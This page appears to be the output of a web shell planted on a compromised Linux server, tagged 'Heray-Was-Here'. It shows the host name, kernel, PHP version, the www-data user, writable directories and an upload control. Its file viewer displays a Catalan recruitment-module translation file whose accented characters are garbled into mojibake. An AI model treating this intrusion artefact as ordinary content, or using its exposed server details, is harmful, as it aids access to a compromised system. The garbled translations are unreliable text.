Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/langs/ca_ES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/langs/ca_ES/recruitment.lang
# Copyright (C) 2020 Laurent Destailleur
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <https://www.gnu.org/licenses/>.

#
# Generic
#

# Module label 'ModuleRecruitmentName'
ModuleRecruitmentName = Contractaci贸
# Module description 'ModuleRecruitmentDesc'
ModuleRecruitmentDesc = Gestiona i segueix les campanyes de contractaci贸 de llocs de treball nous

#
# Admin page
#
RecruitmentSetup = Configuraci贸 de la contractaci贸
Settings = Configuraci贸
RecruitmentSetupPage = Introdu茂u aqu铆 la configuraci贸 de les opcions principals del m貌dul de contractaci贸
RecruitmentArea=脌rea de contractaci贸
PublicInterfaceRecruitmentDesc=Les p脿gines p煤bliques de feines s贸n URL p煤bliques per a mostrar i respondre a feines actives. Hi ha un enlla莽 diferent per a cada treball actiu que es troba a cada registre de la feina.
EnablePublicRecruitmentPages=Activa les p脿gines p煤bliques de treballs actius

#
# About page
#
About = Quant a
RecruitmentAbout = Quant a la contractaci贸
RecruitmentAboutPage = P脿gina quant a la contractaci贸
NbOfEmployeesExpected=Nombre previst d'empleats
JobLabel=Descripci贸 del lloc de treball
WorkPlace=Lloc de treball
DateExpected=Data prevista
FutureManager=Futur gerent
ResponsibleOfRecruitement=Responsable de la contractaci贸
IfJobIsLocatedAtAPartner=Si la feina es troba en l'espai del client
PositionToBeFilled=C脿rrec laboral
PositionsToBeFilled=Llocs de treball
ListOfPositionsToBeFilled=Llista de llocs de treball
NewPositionToBeFilled=Llocs de treball nous

JobOfferToBeFilled=Lloc de treball a cobrir
ThisIsInformationOnJobPosition=Informaci贸 del lloc de treball a ocupar
ContactForRecruitment=Contacte per a la contractaci贸
EmailRecruiter=Correu electr貌nic del reclutador
ToUseAGenericEmail=Per a utilitzar un correu electr貌nic gen猫ric. Si no est脿 definit, s鈥檜tilitzar脿 el correu electr貌nic del responsable de la contractaci贸
NewCandidature=Candidatura nova
ListOfCandidatures=Llista de candidatures
RequestedRemuneration=Retribuci贸 sol路licitada
ProposedRemuneration=Retribuci贸 proposada
ContractProposed=Contracte proposat
ContractSigned=Contracte signat
ContractRefused=Contracte denegat
RecruitmentCandidature=Candidatura
JobPositions=Llocs de treball
RecruitmentCandidatures=Candidatures
InterviewToDo=Entrevista per a fer
AnswerCandidature=Resposta de la candidatura
YourCandidature=La teva candidatura
YourCandidatureAnswerMessage=Gr脿cies per la teva candidatura. <br> ...
JobClosedTextCandidateFound=L鈥檕ferta de feina est脿 tancada. El lloc s'ha cobert.
JobClosedTextCanceled=L鈥檕ferta de feina est脿 tancada.
ExtrafieldsJobPosition=Atributs complementaris (llocs de treball)
ExtrafieldsApplication=Atributs complementaris (sol路licituds de feina)
MakeOffer=Feu una oferta

Hry